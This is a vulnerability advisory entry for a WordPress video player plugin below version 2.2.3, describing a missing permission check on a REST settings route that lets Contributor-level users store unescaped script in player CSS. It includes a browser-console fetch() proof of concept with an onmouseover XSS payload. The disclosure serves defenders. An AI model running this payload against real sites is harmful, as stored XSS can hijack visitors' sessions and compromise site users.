Lucene search

K
wpvulndbDmitrii IgnatyevWPVDB-ID:4832E223-4571-4B45-97DB-2FD403797C49
HistoryMar 20, 2024 - 12:00 a.m.

The Ultimate Video Player For WordPress < 2.2.3 - Contributor+ Stored XSS

2024-03-2000:00:00
Dmitrii Ignatyev
wpscan.com
6
wordpress
video player
contributor
xss
rest route
security issue

9 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Description The plugin does not have proper capability check when updating its settings via a REST route, allowing Contributor and above users to update them. Furthermore, due to the lack of escaping in one of the settings, this also allows them to perform Stored XSS attacks

PoC

As a contributor, get a REST nonce by opening https://example.com/wp-admin/admin-ajax.php?action=rest-nonce (when being logged in) Then run the below command in the developer console of the web browser (still while being logged in as a contributor, and having put the nonce retrieved) fetch(“/wp-json/presto-player/v1/settings”, { “headers”: { “content-type”: “application/x-www-form-urlencoded” }, “method”: “POST”, “body”: ‘presto_player_branding[player_css]=123"onmouseover=alert(/XSS/)//&_wpnonce=’, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); The XSS will be triggered in all pages when the Audio player is embed and the mouse is moved over it.

CPENameOperatorVersion
eq2.2.3

9 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.1%

Related for WPVDB-ID:4832E223-4571-4B45-97DB-2FD403797C49